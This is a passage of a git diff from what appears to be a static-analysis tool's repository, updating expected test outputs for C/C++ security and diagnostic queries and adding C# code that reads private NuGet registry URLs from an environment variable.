+| pp.cpp:0:0:0:0 | pp.cpp | 179 | 1 | 183 | 9 | PreprocessorIfdef | FOOBAR | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 185 | 1 | 185 | 5 | PreprocessorElse | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 186 | 1 | 186 | 10 | PreprocessorWarning | b | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 187 | 1 | 187 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 190 | 1 | 194 | 9 | PreprocessorIf | FOOBAR | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 195 | 1 | 195 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 197 | 1 | 197 | 18 | PreprocessorIf | A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 198 | 1 | 198 | 6 | PreprocessorEndif | N/A | N/A |
 | pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A |
 | pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A |
-| pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33  "emerald_city.h" | N/A |
+| pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A |
 | pp.h:0:0:0:0 | pp.h | 4 | 1 | 4 | 30 | PreprocessorPragma | byte_order(big_endian) | N/A |
 | pp.h:0:0:0:0 | pp.h | 5 | 1 | 5 | 33 | PreprocessorWarning | "Not in Kansas any more" | N/A |
 | pp.h:0:0:0:0 | pp.h | 7 | 1 | 11 | 8 | Macro | MULTILINE | world a long |
diff --git a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected
index fa5df86f68fe..c4b76a9d2fc1 100644
--- a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected
+++ b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected
@@ -1,13 +1,13 @@
-| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:5:25:5:25 | 1 |
-| test.cpp:3:8:3:8 | C<2> | 0 | int | file://:0:0:0:0 | 2 |
-| test.cpp:3:8:3:8 | C<x> | 0 | int | file://:0:0:0:0 | x |
-| test.cpp:10:8:10:8 | D<T, X> | 0 | <none> | test.cpp:9:19:9:19 | T |
-| test.cpp:10:8:10:8 | D<T, X> | 1 | T | file://:0:0:0:0 | X |
-| test.cpp:10:8:10:8 | D<int, 2> | 0 | <none> | file://:0:0:0:0 | int |
-| test.cpp:10:8:10:8 | D<int, 2> | 1 | int | test.cpp:12:8:12:8 | 2 |
-| test.cpp:10:8:10:8 | D<long, 2L> | 0 | <none> | file://:0:0:0:0 | long |
-| test.cpp:10:8:10:8 | D<long, 2L> | 1 | long | file://:0:0:0:0 | 2 |
-| test.cpp:16:8:16:8 | E<T, X> | 0 | <none> | test.cpp:15:19:15:19 | T |
-| test.cpp:16:8:16:8 | E<T, X> | 1 | T * | file://:0:0:0:0 | X |
-| test.cpp:16:8:16:8 | E<int, (int *)nullptr> | 0 | <none> | file://:0:0:0:0 | int |
-| test.cpp:16:8:16:8 | E<int, (int *)nullptr> | 1 | int * | file://:0:0:0:0 | 0 |
+| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:5:25:5:25 | 1 | 1 |
+| test.cpp:3:8:3:8 | C<2> | 0 | int | file://:0:0:0:0 | 2 | 2 |
+| test.cpp:3:8:3:8 | C<x> | 0 | int | file://:0:0:0:0 | x | x |
+| test.cpp:10:8:10:8 | D<T, X> | 0 | <none> | test.cpp:9:19:9:19 | T | <none> |
+| test.cpp:10:8:10:8 | D<T, X> | 1 | T | file://:0:0:0:0 | X | X |
+| test.cpp:10:8:10:8 | D<int, 2> | 0 | <none> | file://:0:0:0:0 | int | <none> |
+| test.cpp:10:8:10:8 | D<int, 2> | 1 | int | test.cpp:12:8:12:8 | 2 | 2 |
+| test.cpp:10:8:10:8 | D<long, 2L> | 0 | <none> | file://:0:0:0:0 | long | <none> |
+| test.cpp:10:8:10:8 | D<long, 2L> | 1 | long | file://:0:0:0:0 | 2 | 2 |
+| test.cpp:16:8:16:8 | E<T, X> | 0 | <none> | test.cpp:15:19:15:19 | T | <none> |
+| test.cpp:16:8:16:8 | E<T, X> | 1 | T * | file://:0:0:0:0 | X | X |
+| test.cpp:16:8:16:8 | E<int, (int *)nullptr> | 0 | <none> | file://:0:0:0:0 | int | <none> |
+| test.cpp:16:8:16:8 | E<int, (int *)nullptr> | 1 | int * | file://:0:0:0:0 | 0 | 0 |
diff --git a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.ql b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.ql
index 68d597e0f983..c6b7efdbf2e4 100644
--- a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.ql
+++ b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.ql
@@ -9,6 +9,16 @@ string maybeGetTemplateArgumentKind(Declaration d, int i) {
   i = [0 .. d.getNumberOfTemplateArguments()]
 }
 
+string maybeGetTemplateArgumentValue(Declaration d, int i) {
+  (
+    if exists(d.getTemplateArgument(i).(Expr).getValue())
+    then result = d.getTemplateArgument(i).(Expr).getValue()
+    else result = "<none>"
+  ) and
+  i = [0 .. d.getNumberOfTemplateArguments()]
+}
+
 from Declaration d, int i
 where i >= 0 and i < d.getNumberOfTemplateArguments()
-select d, i, maybeGetTemplateArgumentKind(d, i), d.getTemplateArgument(i)
+select d, i, maybeGetTemplateArgumentKind(d, i), d.getTemplateArgument(i),
+  maybeGetTemplateArgumentValue(d, i)
diff --git a/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.expected b/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.expected
index f7d1b79cd17a..1fa546094224 100644
--- a/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.expected
+++ b/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.expected
@@ -1,2 +1,3 @@
+| containserror.cpp:9:14:9:14 | Recoverable extraction error: 'x' has already been declared in the current scope | Extraction failed in containserror.cpp with error "containserror.cpp", line 9: error: "x" has already been declared in the current scope\n  \tconst char *x = "Foo2 $$@ bar2 $$@ baz2";\n  \t            ^\n\n | 2 |
 | doesnotcompile.cpp:4:2:4:2 | Recoverable extraction error: identifier 'This' is undefined | Extraction failed in doesnotcompile.cpp with error "doesnotcompile.cpp", line 4: error: identifier "This" is undefined\n  \tThis is not correct C/C++ code.\n  \t^\n\n | 2 |
 | doesnotcompile.cpp:4:10:4:10 | Recoverable extraction error: expected a ';' | Extraction failed in doesnotcompile.cpp with error "doesnotcompile.cpp", line 4: error: expected a ";"\n  \tThis is not correct C/C++ code.\n  \t        ^\n\n | 2 |
diff --git a/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.expected b/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.expected
index 69cba1e1420c..2393f4dbde02 100644
--- a/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.expected
+++ b/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.expected
@@ -1,2 +1,3 @@
+| containserror.cpp:9:14:9:14 | Recoverable extraction error: 'x' has already been declared in the current scope | Extraction failed in containserror.cpp with warning "containserror.cpp", line 9: error: "x" has already been declared in the current scope\n  \tconst char *x = "Foo2 $$@ bar2 $$@ baz2";\n  \t            ^\n\n | 1 |
 | doesnotcompile.cpp:4:2:4:2 | Recoverable extraction error: identifier 'This' is undefined | Extraction failed in doesnotcompile.cpp with warning "doesnotcompile.cpp", line 4: error: identifier "This" is undefined\n  \tThis is not correct C/C++ code.\n  \t^\n\n | 1 |
 | doesnotcompile.cpp:4:10:4:10 | Recoverable extraction error: expected a ';' | Extraction failed in doesnotcompile.cpp with warning "doesnotcompile.cpp", line 4: error: expected a ";"\n  \tThis is not correct C/C++ code.\n  \t        ^\n\n | 1 |
diff --git a/cpp/ql/test/query-tests/Diagnostics/Info.expected b/cpp/ql/test/query-tests/Diagnostics/Info.expected
index a32541303609..77a298109d6f 100644
--- a/cpp/ql/test/query-tests/Diagnostics/Info.expected
+++ b/cpp/ql/test/query-tests/Diagnostics/Info.expected
@@ -1,4 +1,4 @@
-| containserror.cpp:0:0:0:0 | containserror.cpp | containserror.cpp | fromSource, normalTermination |
+| containserror.cpp:0:0:0:0 | containserror.cpp | containserror.cpp | ExtractionProblem (severity 1), fromSource, normalTermination |
 | containswarning.cpp:0:0:0:0 | containswarning.cpp | containswarning.cpp | fromSource, normalTermination |
 | doesnotcompile.cpp:0:0:0:0 | doesnotcompile.cpp | doesnotcompile.cpp | ExtractionProblem (severity 1), fromSource, normalTermination |
 | file://:0:0:0:0 |  |  |  |
diff --git a/cpp/ql/test/query-tests/Diagnostics/containserror.cpp b/cpp/ql/test/query-tests/Diagnostics/containserror.cpp
index 175fcc579f11..63e11dfe64fa 100644
--- a/cpp/ql/test/query-tests/Diagnostics/containserror.cpp
+++ b/cpp/ql/test/query-tests/Diagnostics/containserror.cpp
@@ -3,3 +3,8 @@
 void containserror() {
 	#error An error!
 }
+
+void error_with_placeholder() {
+	const char *x = "Foo1 $@ bar1 $@ baz1";
+	const char *x = "Foo2 $@ bar2 $@ baz2";
+}
\ No newline at end of file
diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/BasicIntTypes.expected b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/BasicIntTypes.expected
index 0664ca9e3698..58facbeac8e2 100644
--- a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/BasicIntTypes.expected	
+++ b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/BasicIntTypes.expected	
@@ -1,3 +1 @@
 | test.c:6:26:6:26 | x | x uses the basic integral type unsigned char rather than a typedef with size and signedness. |
-| test.c:7:20:7:20 | x | x uses the basic integral type unsigned char rather than a typedef with size and signedness. |
-| test.c:10:16:10:20 | test7 | test7 uses the basic integral type unsigned char rather than a typedef with size and signedness. |
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/TaintedPath.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/TaintedPath.expected
index dc8bb31748a8..031804b92251 100644
--- a/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/TaintedPath.expected
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-022/SAMATE/TaintedPath/TaintedPath.expected
@@ -1,7 +1,13 @@
 edges
+| CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:55:27:55:38 | fgets output argument | CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:62:25:62:46 | ... = ... | provenance |  |
+| CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:55:27:55:38 | fgets output argument | CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:69:21:69:40 | ... = ... | provenance |  |
 | CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:55:27:55:38 | fgets output argument | CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:77:23:77:26 | *data | provenance |  |
+| CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:62:25:62:46 | ... = ... | CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:77:23:77:26 | *data | provenance |  |
+| CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:69:21:69:40 | ... = ... | CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:77:23:77:26 | *data | provenance |  |
 nodes
 | CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:55:27:55:38 | fgets output argument | semmle.label | fgets output argument |
+| CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:62:25:62:46 | ... = ... | semmle.label | ... = ... |
+| CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:69:21:69:40 | ... = ... | semmle.label | ... = ... |
 | CWE23_Relative_Path_Traversal__char_console_fopen_11.cpp:77:23:77:26 | *data | semmle.label | *data |
 subpaths
 #select
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/UncontrolledFormatString.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/UncontrolledFormatString.expected
index 835bff109bf3..560ecc8bd775 100644
--- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/UncontrolledFormatString.expected
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/SAMATE/UncontrolledFormatString.expected
@@ -1,12 +1,21 @@
 edges
+| char_connect_socket_w32_vsnprintf_01_bad.c:94:46:94:69 | recv output argument | char_connect_socket_w32_vsnprintf_01_bad.c:100:13:100:60 | ... = ... | provenance |  |
 | char_connect_socket_w32_vsnprintf_01_bad.c:94:46:94:69 | recv output argument | char_connect_socket_w32_vsnprintf_01_bad.c:125:15:125:18 | *data | provenance |  |
+| char_connect_socket_w32_vsnprintf_01_bad.c:100:13:100:60 | ... = ... | char_connect_socket_w32_vsnprintf_01_bad.c:125:15:125:18 | *data | provenance |  |
+| char_console_fprintf_01_bad.c:30:23:30:35 | fgets output argument | char_console_fprintf_01_bad.c:37:21:37:43 | ... = ... | provenance |  |
+| char_console_fprintf_01_bad.c:30:23:30:35 | fgets output argument | char_console_fprintf_01_bad.c:44:17:44:37 | ... = ... | provenance |  |
 | char_console_fprintf_01_bad.c:30:23:30:35 | fgets output argument | char_console_fprintf_01_bad.c:49:21:49:24 | *data | provenance |  |
+| char_console_fprintf_01_bad.c:37:21:37:43 | ... = ... | char_console_fprintf_01_bad.c:49:21:49:24 | *data | provenance |  |
+| char_console_fprintf_01_bad.c:44:17:44:37 | ... = ... | char_console_fprintf_01_bad.c:49:21:49:24 | *data | provenance |  |
 | char_environment_fprintf_01_bad.c:27:30:27:35 | *call to getenv | char_environment_fprintf_01_bad.c:27:30:27:35 | *call to getenv | provenance |  |
 | char_environment_fprintf_01_bad.c:27:30:27:35 | *call to getenv | char_environment_fprintf_01_bad.c:36:21:36:24 | *data | provenance | TaintFunction |
 nodes
 | char_connect_socket_w32_vsnprintf_01_bad.c:94:46:94:69 | recv output argument | semmle.label | recv output argument |
+| char_connect_socket_w32_vsnprintf_01_bad.c:100:13:100:60 | ... = ... | semmle.label | ... = ... |
 | char_connect_socket_w32_vsnprintf_01_bad.c:125:15:125:18 | *data | semmle.label | *data |
 | char_console_fprintf_01_bad.c:30:23:30:35 | fgets output argument | semmle.label | fgets output argument |
+| char_console_fprintf_01_bad.c:37:21:37:43 | ... = ... | semmle.label | ... = ... |
+| char_console_fprintf_01_bad.c:44:17:44:37 | ... = ... | semmle.label | ... = ... |
 | char_console_fprintf_01_bad.c:49:21:49:24 | *data | semmle.label | *data |
 | char_environment_fprintf_01_bad.c:27:30:27:35 | *call to getenv | semmle.label | *call to getenv |
 | char_environment_fprintf_01_bad.c:27:30:27:35 | *call to getenv | semmle.label | *call to getenv |
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected
index e59c3e893a4f..421d12dabd31 100644
--- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected
@@ -1,6 +1,9 @@
 edges
-| consts.cpp:24:7:24:9 | **gv1 | consts.cpp:24:7:24:9 | **gv1 | provenance |  |
+| consts.cpp:24:7:24:9 | **gv1 | consts.cpp:25:2:25:4 | *a | provenance |  |
 | consts.cpp:24:7:24:9 | **gv1 | consts.cpp:30:9:30:14 | *access to array | provenance |  |
+| consts.cpp:24:7:24:9 | **gv1 | consts.cpp:123:2:123:12 | *... = ... | provenance |  |
+| consts.cpp:25:2:25:4 | *a | consts.cpp:26:2:26:4 | *b | provenance |  |
+| consts.cpp:26:2:26:4 | *b | consts.cpp:24:7:24:9 | **gv1 | provenance |  |
 | consts.cpp:29:7:29:25 | **nonConstFuncToArray | consts.cpp:126:9:126:30 | *call to nonConstFuncToArray | provenance |  |
 | consts.cpp:30:9:30:14 | *access to array | consts.cpp:29:7:29:25 | **nonConstFuncToArray | provenance |  |
 | consts.cpp:85:7:85:8 | gets output argument | consts.cpp:86:9:86:10 | *v1 | provenance |  |
@@ -25,8 +28,7 @@ edges
 | consts.cpp:106:13:106:19 | *call to varFunc | consts.cpp:107:9:107:10 | *v5 | provenance |  |
 | consts.cpp:111:2:111:15 | *... = ... | consts.cpp:112:9:112:10 | *v6 | provenance |  |
 | consts.cpp:111:7:111:13 | *call to varFunc | consts.cpp:111:2:111:15 | *... = ... | provenance |  |
-| consts.cpp:115:17:115:18 | *v1 | consts.cpp:116:9:116:13 | *access to array | provenance |  |
-| consts.cpp:115:17:115:18 | *v1 | consts.cpp:120:2:120:11 | *... = ... | provenance |  |
+| consts.cpp:115:17:115:18 | *v1 | consts.cpp:115:21:115:22 | *v2 | provenance |  |
 | consts.cpp:115:21:115:22 | *v2 | consts.cpp:116:9:116:13 | *access to array | provenance |  |
 | consts.cpp:115:21:115:22 | *v2 | consts.cpp:120:2:120:11 | *... = ... | provenance |  |
 | consts.cpp:120:2:120:11 | *... = ... | consts.cpp:121:9:121:10 | *v8 | provenance |  |
@@ -36,6 +38,8 @@ edges
 | consts.cpp:144:16:144:18 | readStringRef output argument | consts.cpp:145:9:145:11 | *v12 | provenance |  |
 nodes
 | consts.cpp:24:7:24:9 | **gv1 | semmle.label | **gv1 |
+| consts.cpp:25:2:25:4 | *a | semmle.label | *a |
+| consts.cpp:26:2:26:4 | *b | semmle.label | *b |
 | consts.cpp:29:7:29:25 | **nonConstFuncToArray | semmle.label | **nonConstFuncToArray |
 | consts.cpp:30:9:30:14 | *access to array | semmle.label | *access to array |
 | consts.cpp:85:7:85:8 | gets output argument | semmle.label | gets output argument |
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-193/InvalidPointerDeref.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-193/InvalidPointerDeref.expected
index e55caaa63728..0cfd3b0413ee 100644
--- a/cpp/ql/test/query-tests/Security/CWE/CWE-193/InvalidPointerDeref.expected
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-193/InvalidPointerDeref.expected
@@ -27,6 +27,10 @@ edges
 | test.cpp:53:5:53:23 | ... = ... | test.cpp:51:33:51:35 | *end | provenance |  |
 | test.cpp:53:12:53:23 | ... + ... | test.cpp:53:5:53:23 | ... = ... | provenance |  |
 | test.cpp:60:34:60:37 | mk_array output argument | test.cpp:67:9:67:14 | ... = ... | provenance | Config |
+| test.cpp:60:34:60:37 | mk_array output argument | test.cpp:67:9:67:14 | ... = ... | provenance | Config |
+| test.cpp:66:37:66:39 | *++ ... | test.cpp:67:9:67:14 | ... = ... | provenance |  |
+| test.cpp:66:37:66:39 | *++ ... | test.cpp:67:9:67:14 | ... = ... | provenance |  |
+| test.cpp:67:9:67:14 | ... = ... | test.cpp:66:37:66:39 | *++ ... | provenance |  |
 | test.cpp:205:15:205:33 | call to malloc | test.cpp:205:15:205:33 | call to malloc | provenance |  |
 | test.cpp:205:15:205:33 | call to malloc | test.cpp:206:17:206:23 | ... + ... | provenance | Config |
 | test.cpp:206:17:206:23 | ... + ... | test.cpp:206:17:206:23 | ... + ... | provenance |  |
@@ -47,6 +51,11 @@ edges
 | test.cpp:271:14:271:21 | ... + ... | test.cpp:271:14:271:21 | ... + ... | provenance |  |
 | test.cpp:271:14:271:21 | ... + ... | test.cpp:274:5:274:10 | ... = ... | provenance | Config |
 | test.cpp:271:14:271:21 | ... + ... | test.cpp:274:5:274:10 | ... = ... | provenance | Config |
+| test.cpp:271:14:271:21 | ... + ... | test.cpp:274:5:274:10 | ... = ... | provenance | Config |
+| test.cpp:271:14:271:21 | ... + ... | test.cpp:274:5:274:10 | ... = ... | provenance | Config |
+| test.cpp:272:31:272:33 | *... ++ | test.cpp:274:5:274:10 | ... = ... | provenance |  |
+| test.cpp:272:31:272:33 | *... ++ | test.cpp:274:5:274:10 | ... = ... | provenance |  |
+| test.cpp:274:5:274:10 | ... = ... | test.cpp:272:31:272:33 | *... ++ | provenance |  |
 | test.cpp:355:14:355:27 | new[] | test.cpp:355:14:355:27 | new[] | provenance |  |
 | test.cpp:355:14:355:27 | new[] | test.cpp:356:15:356:23 | ... + ... | provenance | Config |
 | test.cpp:356:15:356:23 | ... + ... | test.cpp:356:15:356:23 | ... + ... | provenance |  |
@@ -114,9 +123,18 @@ edges
 | test.cpp:794:5:794:24 | ... = ... | test.cpp:792:60:792:62 | *end | provenance |  |
 | test.cpp:794:12:794:24 | ... + ... | test.cpp:794:5:794:24 | ... = ... | provenance |  |
 | test.cpp:800:40:800:43 | mk_array_no_field_flow output argument | test.cpp:807:7:807:12 | ... = ... | provenance | Config |
+| test.cpp:800:40:800:43 | mk_array_no_field_flow output argument | test.cpp:807:7:807:12 | ... = ... | provenance | Config |
+| test.cpp:806:35:806:37 | *++ ... | test.cpp:807:7:807:12 | ... = ... | provenance |  |
+| test.cpp:806:35:806:37 | *++ ... | test.cpp:807:7:807:12 | ... = ... | provenance |  |
+| test.cpp:807:7:807:12 | ... = ... | test.cpp:806:35:806:37 | *++ ... | provenance |  |
 | test.cpp:815:52:815:54 | end | test.cpp:815:52:815:54 | end | provenance |  |
 | test.cpp:815:52:815:54 | end | test.cpp:821:7:821:12 | ... = ... | provenance | Config |
 | test.cpp:815:52:815:54 | end | test.cpp:821:7:821:12 | ... = ... | provenance | Config |
+| test.cpp:815:52:815:54 | end | test.cpp:821:7:821:12 | ... = ... | provenance | Config |
+| test.cpp:815:52:815:54 | end | test.cpp:821:7:821:12 | ... = ... | provenance | Config |
+| test.cpp:820:35:820:37 | *++ ... | test.cpp:821:7:821:12 | ... = ... | provenance |  |
+| test.cpp:820:35:820:37 | *++ ... | test.cpp:821:7:821:12 | ... = ... | provenance |  |
+| test.cpp:821:7:821:12 | ... = ... | test.cpp:820:35:820:37 | *++ ... | provenance |  |
 | test.cpp:832:40:832:43 | mk_array_no_field_flow output argument | test.cpp:833:37:833:39 | end | provenance |  |
 | test.cpp:833:37:833:39 | end | test.cpp:815:52:815:54 | end | provenance |  |
 | test.cpp:841:18:841:35 | call to malloc | test.cpp:841:18:841:35 | call to malloc | provenance |  |
@@ -157,6 +175,8 @@ nodes
 | test.cpp:53:5:53:23 | ... = ... | semmle.label | ... = ... |
 | test.cpp:53:12:53:23 | ... + ... | semmle.label | ... + ... |
 | test.cpp:60:34:60:37 | mk_array output argument | semmle.label | mk_array output argument |
+| test.cpp:66:37:66:39 | *++ ... | semmle.label | *++ ... |
+| test.cpp:67:9:67:14 | ... = ... | semmle.label | ... = ... |
 | test.cpp:67:9:67:14 | ... = ... | semmle.label | ... = ... |
 | test.cpp:205:15:205:33 | call to malloc | semmle.label | call to malloc |
 | test.cpp:205:15:205:33 | call to malloc | semmle.label | call to malloc |
@@ -174,6 +194,8 @@ nodes
 | test.cpp:270:13:270:24 | new[] | semmle.label | new[] |
 | test.cpp:271:14:271:21 | ... + ... | semmle.label | ... + ... |
 | test.cpp:271:14:271:21 | ... + ... | semmle.label | ... + ... |
+| test.cpp:272:31:272:33 | *... ++ | semmle.label | *... ++ |
+| test.cpp:274:5:274:10 | ... = ... | semmle.label | ... = ... |
 | test.cpp:274:5:274:10 | ... = ... | semmle.label | ... = ... |
 | test.cpp:355:14:355:27 | new[] | semmle.label | new[] |
 | test.cpp:355:14:355:27 | new[] | semmle.label | new[] |
@@ -240,9 +262,13 @@ nodes
 | test.cpp:794:5:794:24 | ... = ... | semmle.label | ... = ... |
 | test.cpp:794:12:794:24 | ... + ... | semmle.label | ... + ... |
 | test.cpp:800:40:800:43 | mk_array_no_field_flow output argument | semmle.label | mk_array_no_field_flow output argument |
+| test.cpp:806:35:806:37 | *++ ... | semmle.label | *++ ... |
+| test.cpp:807:7:807:12 | ... = ... | semmle.label | ... = ... |
 | test.cpp:807:7:807:12 | ... = ... | semmle.label | ... = ... |
 | test.cpp:815:52:815:54 | end | semmle.label | end |
 | test.cpp:815:52:815:54 | end | semmle.label | end |
+| test.cpp:820:35:820:37 | *++ ... | semmle.label | *++ ... |
+| test.cpp:821:7:821:12 | ... = ... | semmle.label | ... = ... |
 | test.cpp:821:7:821:12 | ... = ... | semmle.label | ... = ... |
 | test.cpp:832:40:832:43 | mk_array_no_field_flow output argument | semmle.label | mk_array_no_field_flow output argument |
 | test.cpp:833:37:833:39 | end | semmle.label | end |
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextTransmission.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextTransmission.expected
index 42718aa4a388..fae3d76599a8 100644
--- a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextTransmission.expected
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextTransmission.expected
@@ -16,7 +16,8 @@ edges
 | test3.cpp:138:24:138:32 | password1 | test3.cpp:138:21:138:22 | call to id | provenance |  |
 | test3.cpp:144:16:144:29 | call to get_global_str | test3.cpp:144:16:144:29 | call to get_global_str | provenance |  |
 | test3.cpp:144:16:144:29 | call to get_global_str | test3.cpp:146:15:146:18 | data | provenance |  |
-| test3.cpp:157:19:157:26 | password | test3.cpp:159:15:159:20 | *buffer | provenance | TaintFunction |
+| test3.cpp:157:19:157:26 | password | test3.cpp:158:3:158:16 | ... = ... | provenance | TaintFunction |
+| test3.cpp:158:3:158:16 | ... = ... | test3.cpp:159:15:159:20 | *buffer | provenance |  |
 | test3.cpp:270:16:270:23 | password | test3.cpp:272:15:272:18 | *data | provenance | DataFlowFunction |
 | test3.cpp:278:20:278:23 | data | test3.cpp:280:14:280:17 | data | provenance |  |
 | test3.cpp:283:20:283:23 | data | test3.cpp:285:14:285:17 | data | provenance |  |
@@ -70,6 +71,7 @@ nodes
 | test3.cpp:144:16:144:29 | call to get_global_str | semmle.label | call to get_global_str |
 | test3.cpp:146:15:146:18 | data | semmle.label | data |
 | test3.cpp:157:19:157:26 | password | semmle.label | password |
+| test3.cpp:158:3:158:16 | ... = ... | semmle.label | ... = ... |
 | test3.cpp:159:15:159:20 | *buffer | semmle.label | *buffer |
 | test3.cpp:173:15:173:22 | password | semmle.label | password |
 | test3.cpp:181:15:181:22 | password | semmle.label | password |
diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs
index cad7d33f472b..be5f137548c4 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs
@@ -1,14 +1,22 @@
 using System;
-using System.Diagnostics;
+using System.Collections.Generic;
 using System.IO;
 using System.Security.Cryptography.X509Certificates;
 using Semmle.Util;
 using Semmle.Util.Logging;
+using Newtonsoft.Json;
 
 namespace Semmle.Extraction.CSharp.DependencyFetching
 {
     public class DependabotProxy : IDisposable
     {
+        /// <summary>
+        /// Represents configurations for package registries.
+        /// </summary>
+        /// <param name="Type">The type of package registry.</param>
+        /// <param name="URL">The URL of the package registry.</param>
+        public record class RegistryConfig(string Type, string URL);
+
         private readonly string host;
         private readonly string port;
 
@@ -17,6 +25,10 @@ public class DependabotProxy : IDisposable
         /// </summary>
         internal string Address { get; }
         /// <summary>
+        /// The URLs of package registries that are configured for the proxy.
+        /// </summary>
+        internal HashSet<string> RegistryURLs { get; }
+        /// <summary>
         /// The path to the temporary file where the certificate is stored.
         /// </summary>
         internal string? CertificatePath { get; private set; }
@@ -67,6 +79,39 @@ public class DependabotProxy : IDisposable
                 result.Certificate = X509Certificate2.CreateFromPem(cert);
             }
 
+            // Try to obtain the list of private registry URLs.
+            var registryURLs = Environment.GetEnvironmentVariable(EnvironmentVariableNames.ProxyURLs);
+
+            if (!string.IsNullOrWhiteSpace(registryURLs))
+            {
+                try
+                {
+                    // The value of the environment variable should be a JSON array of objects, such as:
+                    // [ { "type": "nuget_feed", "url": "https://nuget.pkg.github.com/org/index.json" } ]
+                    var array = JsonConvert.DeserializeObject<List<RegistryConfig>>(registryURLs);
+                    if (array is not null)
+                    {
+                        foreach (RegistryConfig config in array)
+                        {
+                            // The array contains all configured private registries, not just ones for C#.
+                            // We ignore the non-C# ones here.
+                            if (!config.Type.Equals("nuget_feed"))
+                            {
+                                logger.LogDebug($"Ignoring registry at '{config.URL}' since it is not of type 'nuget_feed'.");
+                                continue;
+                            }
+
+                            logger.LogInfo($"Found private registry at '{config.URL}'");
+                            result.RegistryURLs.Add(config.URL);
+                        }
+                    }
+                }
+                catch (JsonException ex)
+                {
+                    logger.LogError($"Unable to parse '{EnvironmentVariableNames.ProxyURLs}': {ex.Message}");
+                }
+            }
+
             return result;
         }
 
@@ -75,6 +120,7 @@ private DependabotProxy(string host, string port)
             this.host = host;
             this.port = port;
             this.Address = $"http://{this.host}:{this.port}";
+            this.RegistryURLs = new HashSet<string>();
         }
 
         public void Dispose()
diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs
index dfabb7446186..49d35c944bd8 100644
--- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs
+++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs
